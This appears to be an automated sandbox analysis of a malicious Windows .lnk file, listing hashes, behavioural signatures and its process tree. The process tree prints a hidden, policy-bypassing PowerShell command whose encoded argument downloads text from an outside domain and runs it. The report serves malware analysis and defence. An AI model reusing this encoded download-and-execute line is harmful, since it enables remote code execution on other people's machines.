Analysis
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max time kernel
149s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
05-04-2024 14:46
Static task
static1
Behavioral task
behavioral1
Sample
DOC1718 - 17181718.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
DOC1718 - 17181718.lnk
Resource
win10v2004-20240226-en
General
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Target
DOC1718 - 17181718.lnk
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Size
9KB
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MD5
b2f8f92b1a74fcbe95a7a9cd50994785
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SHA1
a124648dddeaaef25245643f98df6c50ec693b94
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SHA256
ba41a32b699a07b7a0d7871839ef0c86a9eae01a3277c151a24d288919832fff
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SHA512
1107e818462ad8f8f9a13f052df590c6a964a6d79aa33fc0fb91eda9ab1b05eaca64bab604834d092d57f232a188b94403125569dee9f0cdb61983a6b7c3f7e6
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SSDEEP
192:8z5P5hm3MSBf2TL52FWGkOlRKAaqPVpVIZhVjjpOW234jXAc0y:u53cMS5ZFbkO3KYyftoy
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 7 512 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 512 powershell.exe 512 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 512 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
cmd.exedescription pid process target process PID 4516 wrote to memory of 512 4516 cmd.exe powershell.exe PID 4516 wrote to memory of 512 4516 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\DOC1718 - 17181718.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:512
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82